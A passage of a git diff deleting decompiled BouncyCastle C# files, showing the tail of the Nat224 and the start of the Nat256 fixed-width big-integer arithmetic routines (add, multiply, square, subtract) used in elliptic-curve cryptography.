(uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 5] + (long)v[vOff + 5]); - u[uOff + 5] = (uint)num; - v[vOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 6] + (long)v[vOff + 6]); - u[uOff + 6] = (uint)num; - v[vOff + 6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static void Copy(uint[] x, uint[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - z[5] = x[5]; - z[6] = x[6]; - } - - public static void Copy(uint[] x, int xOff, uint[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - z[zOff + 5] = x[xOff + 5]; - z[zOff + 6] = x[xOff + 6]; - } - - public static uint[] Create() - { - return new uint[7]; - } - - public static uint[] CreateExt() - { - return new uint[14]; - } - - public static bool Diff(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - bool flag = Gte(x, xOff, y, yOff); - if (flag) - { - Sub(x, xOff, y, yOff, z, zOff); - } - else - { - Sub(y, yOff, x, xOff, z, zOff); - } - return flag; - } - - public static bool Eq(uint[] x, uint[] y) - { - for (int num = 6; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static uint[] FromBigInteger(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 224) - { - throw new ArgumentException(); - } - uint[] array = Create(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (uint)x.IntValue; - x = x.ShiftRight(32); - } - return array; - } - - public static uint GetBit(uint[] x, int bit) - { - if (bit == 0) - { - return x[0] & 1; - } - int num = bit >> 5; - if (num < 0 || num >= 7) - { - return 0u; - } - int num2 = bit & 0x1F; - return (x[num] >> num2) & 1; - } - - public static bool Gte(uint[] x, uint[] y) - { - for (int num = 6; num >= 0; num--) - { - uint num2 = x[num]; - uint num3 = y[num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool Gte(uint[] x, int xOff, uint[] y, int yOff) - { - for (int num = 6; num >= 0; num--) - { - uint num2 = x[xOff + num]; - uint num3 = y[yOff + num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool IsOne(uint[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 7; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero(uint[] x) - { - for (int i = 0; i < 7; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = y[5]; - ulong num7 = y[6]; - ulong num8 = 0uL; - ulong num9 = x[0]; - num8 += num9 * num; - zz[0] = (uint)num8; - num8 >>= 32; - num8 += num9 * num2; - zz[1] = (uint)num8; - num8 >>= 32; - num8 += num9 * num3; - zz[2] = (uint)num8; - num8 >>= 32; - num8 += num9 * num4; - zz[3] = (uint)num8; - num8 >>= 32; - num8 += num9 * num5; - zz[4] = (uint)num8; - num8 >>= 32; - num8 += num9 * num6; - zz[5] = (uint)num8; - num8 >>= 32; - num8 += num9 * num7; - zz[6] = (uint)num8; - num8 >>= 32; - zz[7] = (uint)num8; - for (int i = 1; i < 7; i++) - { - ulong num10 = 0uL; - ulong num11 = x[i]; - num10 += num11 * num + zz[i]; - zz[i] = (uint)num10; - num10 >>= 32; - num10 += num11 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num10; - num10 >>= 32; - num10 += num11 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num10; - num10 >>= 32; - num10 += num11 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num10; - num10 >>= 32; - num10 += num11 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num10; - num10 >>= 32; - num10 += num11 * num6 + zz[i + 5]; - zz[i + 5] = (uint)num10; - num10 >>= 32; - num10 += num11 * num7 + zz[i + 6]; - zz[i + 6] = (uint)num10; - num10 >>= 32; - zz[i + 7] = (uint)num10; - } - } - - public static void Mul(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = y[yOff + 5]; - ulong num7 = y[yOff + 6]; - ulong num8 = 0uL; - ulong num9 = x[xOff]; - num8 += num9 * num; - zz[zzOff] = (uint)num8; - num8 >>= 32; - num8 += num9 * num2; - zz[zzOff + 1] = (uint)num8; - num8 >>= 32; - num8 += num9 * num3; - zz[zzOff + 2] = (uint)num8; - num8 >>= 32; - num8 += num9 * num4; - zz[zzOff + 3] = (uint)num8; - num8 >>= 32; - num8 += num9 * num5; - zz[zzOff + 4] = (uint)num8; - num8 >>= 32; - num8 += num9 * num6; - zz[zzOff + 5] = (uint)num8; - num8 >>= 32; - num8 += num9 * num7; - zz[zzOff + 6] = (uint)num8; - num8 >>= 32; - zz[zzOff + 7] = (uint)num8; - for (int i = 1; i < 7; i++) - { - zzOff++; - ulong num10 = 0uL; - ulong num11 = x[xOff + i]; - num10 += num11 * num + zz[zzOff]; - zz[zzOff] = (uint)num10; - num10 >>= 32; - num10 += num11 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num10; - num10 >>= 32; - num10 += num11 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num10; - num10 >>= 32; - num10 += num11 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num10; - num10 >>= 32; - num10 += num11 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num10; - num10 >>= 32; - num10 += num11 * num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num10; - num10 >>= 32; - num10 += num11 * num7 + zz[zzOff + 6]; - zz[zzOff + 6] = (uint)num10; - num10 >>= 32; - zz[zzOff + 7] = (uint)num10; - } - } - - public static uint MulAddTo(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = y[5]; - ulong num7 = y[6]; - ulong num8 = 0uL; - for (int i = 0; i < 7; i++) - { - ulong num9 = 0uL; - ulong num10 = x[i]; - num9 += num10 * num + zz[i]; - zz[i] = (uint)num9; - num9 >>= 32; - num9 += num10 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num9; - num9 >>= 32; - num9 += num10 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num9; - num9 >>= 32; - num9 += num10 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num9; - num9 >>= 32; - num9 += num10 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num9; - num9 >>= 32; - num9 += num10 * num6 + zz[i + 5]; - zz[i + 5] = (uint)num9; - num9 >>= 32; - num9 += num10 * num7 + zz[i + 6]; - zz[i + 6] = (uint)num9; - num9 >>= 32; - num9 += num8 + zz[i + 7]; - zz[i + 7] = (uint)num9; - num8 = num9 >> 32; - } - return (uint)num8; - } - - public static uint MulAddTo(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = y[yOff + 5]; - ulong num7 = y[yOff + 6]; - ulong num8 = 0uL; - for (int i = 0; i < 7; i++) - { - ulong num9 = 0uL; - ulong num10 = x[xOff + i]; - num9 += num10 * num + zz[zzOff]; - zz[zzOff] = (uint)num9; - num9 >>= 32; - num9 += num10 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num9; - num9 >>= 32; - num9 += num10 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num9; - num9 >>= 32; - num9 += num10 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num9; - num9 >>= 32; - num9 += num10 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num9; - num9 >>= 32; - num9 += num10 * num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num9; - num9 >>= 32; - num9 += num10 * num7 + zz[zzOff + 6]; - zz[zzOff + 6] = (uint)num9; - num9 >>= 32; - num9 += num8 + zz[zzOff + 7]; - zz[zzOff + 7] = (uint)num9; - num8 = num9 >> 32; - zzOff++; - } - return (uint)num8; - } - - public static ulong Mul33Add(uint w, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = w; - ulong num3 = x[xOff]; - num += num2 * num3 + y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = x[xOff + 1]; - num += num2 * num4 + num3 + y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - ulong num5 = x[xOff + 2]; - num += num2 * num5 + num4 + y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - ulong num6 = x[xOff + 3]; - num += num2 * num6 + num5 + y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - ulong num7 = x[xOff + 4]; - num += num2 * num7 + num6 + y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - ulong num8 = x[xOff + 5]; - num += num2 * num8 + num7 + y[yOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - ulong num9 = x[xOff + 6]; - num += num2 * num9 + num8 + y[yOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - return num + num9; - } - - public static uint MulByWord(uint x, uint[] z) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * z[0]; - z[0] = (uint)num; - num >>= 32; - num += num2 * z[1]; - z[1] = (uint)num; - num >>= 32; - num += num2 * z[2]; - z[2] = (uint)num; - num >>= 32; - num += num2 * z[3]; - z[3] = (uint)num; - num >>= 32; - num += num2 * z[4]; - z[4] = (uint)num; - num >>= 32; - num += num2 * z[5]; - z[5] = (uint)num; - num >>= 32; - num += num2 * z[6]; - z[6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint MulByWordAddTo(uint x, uint[] y, uint[] z) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * z[0] + y[0]; - z[0] = (uint)num; - num >>= 32; - num += num2 * z[1] + y[1]; - z[1] = (uint)num; - num >>= 32; - num += num2 * z[2] + y[2]; - z[2] = (uint)num; - num >>= 32; - num += num2 * z[3] + y[3]; - z[3] = (uint)num; - num >>= 32; - num += num2 * z[4] + y[4]; - z[4] = (uint)num; - num >>= 32; - num += num2 * z[5] + y[5]; - z[5] = (uint)num; - num >>= 32; - num += num2 * z[6] + y[6]; - z[6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint MulWordAddTo(uint x, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y[yOff] + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 1] + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 2] + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 3] + z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 4] + z[zOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 5] + z[zOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 6] + z[zOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Mul33DWordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y & 0xFFFFFFFFu; - num += num2 * num3 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = y >> 32; - num += num2 * num4 + num3 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num4 + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(7, z, zOff, 4); - } - return 0u; - } - - public static uint Mul33WordAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = y; - num += num2 * x + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(7, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordDwordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * (y >> 32) + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(7, z, zOff, 3); - } - return 0u; - } - - public static uint MulWord(uint x, uint[] y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < 7); - return (uint)num; - } - - public static void Square(uint[] x, uint[] zz) - { - ulong num = x[0]; - uint num2 = 0u; - int num3 = 6; - int num4 = 14; - do - { - ulong num5 = x[num3--]; - ulong num6 = num5 * num5; - zz[--num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[--num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[0] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[1]; - ulong num10 = zz[2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[2]; - ulong num13 = zz[3]; - ulong num14 = zz[4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[3]; - ulong num16 = zz[5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[4]; - ulong num19 = zz[7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num16 &= 0xFFFFFFFFu; - num19 += (num17 >> 32) + num18 * num15; - num17 &= 0xFFFFFFFFu; - num20 += num19 >> 32; - num19 &= 0xFFFFFFFFu; - ulong num21 = x[5]; - ulong num22 = zz[9] + (num20 >> 32); - num20 &= 0xFFFFFFFFu; - ulong num23 = zz[10] + (num22 >> 32); - num22 &= 0xFFFFFFFFu; - num16 += num21 * num; - num11 = (uint)num16; - zz[5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num17 += (num16 >> 32) + num21 * num9; - num19 += (num17 >> 32) + num21 * num12; - num17 &= 0xFFFFFFFFu; - num20 += (num19 >> 32) + num21 * num15; - num19 &= 0xFFFFFFFFu; - num22 += (num20 >> 32) + num21 * num18; - num20 &= 0xFFFFFFFFu; - num23 += num22 >> 32; - num22 &= 0xFFFFFFFFu; - ulong num24 = x[6]; - ulong num25 = zz[11] + (num23 >> 32); - num23 &= 0xFFFFFFFFu; - ulong num26 = zz[12] + (num25 >> 32); - num25 &= 0xFFFFFFFFu; - num17 += num24 * num; - num11 = (uint)num17; - zz[6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num19 += (num17 >> 32) + num24 * num9; - num20 += (num19 >> 32) + num24 * num12; - num22 += (num20 >> 32) + num24 * num15; - num23 += (num22 >> 32) + num24 * num18; - num25 += (num23 >> 32) + num24 * num21; - num26 += num25 >> 32; - num11 = (uint)num19; - zz[7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num20; - zz[8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num22; - zz[9] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num23; - zz[10] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num25; - zz[11] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num26; - zz[12] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[13] + (uint)(int)(num26 >> 32); - zz[13] = (num11 << 1) | num2; - } - - public static void Square(uint[] x, int xOff, uint[] zz, int zzOff) - { - ulong num = x[xOff]; - uint num2 = 0u; - int num3 = 6; - int num4 = 14; - do - { - ulong num5 = x[xOff + num3--]; - ulong num6 = num5 * num5; - zz[zzOff + --num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[zzOff + --num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[zzOff] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[xOff + 1]; - ulong num10 = zz[zzOff + 2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[zzOff + 1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[xOff + 2]; - ulong num13 = zz[zzOff + 3]; - ulong num14 = zz[zzOff + 4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[zzOff + 2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[xOff + 3]; - ulong num16 = zz[zzOff + 5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[zzOff + 6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[zzOff + 3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[xOff + 4]; - ulong num19 = zz[zzOff + 7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[zzOff + 8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[zzOff + 4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num16 &= 0xFFFFFFFFu; - num19 += (num17 >> 32) + num18 * num15; - num17 &= 0xFFFFFFFFu; - num20 += num19 >> 32; - num19 &= 0xFFFFFFFFu; - ulong num21 = x[xOff + 5]; - ulong num22 = zz[zzOff + 9] + (num20 >> 32); - num20 &= 0xFFFFFFFFu; - ulong num23 = zz[zzOff + 10] + (num22 >> 32); - num22 &= 0xFFFFFFFFu; - num16 += num21 * num; - num11 = (uint)num16; - zz[zzOff + 5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num17 += (num16 >> 32) + num21 * num9; - num19 += (num17 >> 32) + num21 * num12; - num17 &= 0xFFFFFFFFu; - num20 += (num19 >> 32) + num21 * num15; - num19 &= 0xFFFFFFFFu; - num22 += (num20 >> 32) + num21 * num18; - num20 &= 0xFFFFFFFFu; - num23 += num22 >> 32; - num22 &= 0xFFFFFFFFu; - ulong num24 = x[xOff + 6]; - ulong num25 = zz[zzOff + 11] + (num23 >> 32); - num23 &= 0xFFFFFFFFu; - ulong num26 = zz[zzOff + 12] + (num25 >> 32); - num25 &= 0xFFFFFFFFu; - num17 += num24 * num; - num11 = (uint)num17; - zz[zzOff + 6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num19 += (num17 >> 32) + num24 * num9; - num20 += (num19 >> 32) + num24 * num12; - num22 += (num20 >> 32) + num24 * num15; - num23 += (num22 >> 32) + num24 * num18; - num25 += (num23 >> 32) + num24 * num21; - num26 += num25 >> 32; - num11 = (uint)num19; - zz[zzOff + 7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num20; - zz[zzOff + 8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num22; - zz[zzOff + 9] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num23; - zz[zzOff + 10] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num25; - zz[zzOff + 11] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num26; - zz[zzOff + 12] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[zzOff + 13] + (uint)(int)(num26 >> 32); - zz[zzOff + 13] = (num11 << 1) | num2; - } - - public static int Sub(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)x[0] - (long)y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)x[1] - (long)y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)x[2] - (long)y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)x[3] - (long)y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)x[4] - (long)y[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)x[5] - (long)y[5]; - z[5] = (uint)num; - num >>= 32; - num += (long)x[6] - (long)y[6]; - z[6] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int Sub(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)x[xOff] - (long)y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)x[xOff + 1] - (long)y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)x[xOff + 2] - (long)y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)x[xOff + 3] - (long)y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)x[xOff + 4] - (long)y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += (long)x[xOff + 5] - (long)y[yOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - num += (long)x[xOff + 6] - (long)y[yOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubBothFrom(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0] - y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1] - y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2] - y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3] - y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4] - y[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)z[5] - (long)x[5] - y[5]; - z[5] = (uint)num; - num >>= 32; - num += (long)z[6] - (long)x[6] - y[6]; - z[6] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)z[5] - (long)x[5]; - z[5] = (uint)num; - num >>= 32; - num += (long)z[6] - (long)x[6]; - z[6] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, int xOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)z[zOff] - (long)x[xOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)z[zOff + 1] - (long)x[xOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)z[zOff + 2] - (long)x[xOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)z[zOff + 3] - (long)x[xOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)z[zOff + 4] - (long)x[xOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += (long)z[zOff + 5] - (long)x[xOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - num += (long)z[zOff + 6] - (long)x[xOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - return (int)num; - } - - public static BigInteger ToBigInteger(uint[] x) - { - byte[] array = new byte[28]; - for (int i = 0; i < 7; i++) - { - uint num = x[i]; - if (num != 0) - { - Pack.UInt32_To_BE(num, array, 6 - i << 2); - } - } - return new BigInteger(1, array); - } - - public static void Zero(uint[] z) - { - z[0] = 0u; - z[1] = 0u; - z[2] = 0u; - z[3] = 0u; - z[4] = 0u; - z[5] = 0u; - z[6] = 0u; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat256.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat256.cs deleted file mode 100644 index 90ed4d4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat256.cs +++ /dev/null @@ -1,1388 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat256 -{ - private const ulong M = 4294967295uL; - - public static uint Add(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)y[5]); - z[5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[6] + (long)y[6]); - z[6] = (uint)num; - num >>= 32; - num += (ulong)((long)x[7] + (long)y[7]); - z[7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Add(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - num += (ulong)((long)x[xOff] + (long)y[yOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)y[yOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)y[yOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)y[yOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)y[yOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)y[yOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 6] + (long)y[yOff + 6]); - z[zOff + 6] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 7] + (long)y[yOff + 7]); - z[zOff + 7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0] + z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1] + z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2] + z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3] + z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4] + z[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)y[5] + z[5]); - z[5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[6] + (long)y[6] + z[6]); - z[6] = (uint)num; - num >>= 32; - num += (ulong)((long)x[7] + (long)y[7] + z[7]); - z[7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - num += (ulong)((long)x[xOff] + (long)y[yOff] + z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)y[yOff + 1] + z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)y[yOff + 2] + z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)y[yOff + 3] + z[zOff + 3]); - z[zOff + 3] = (uint)num; - num 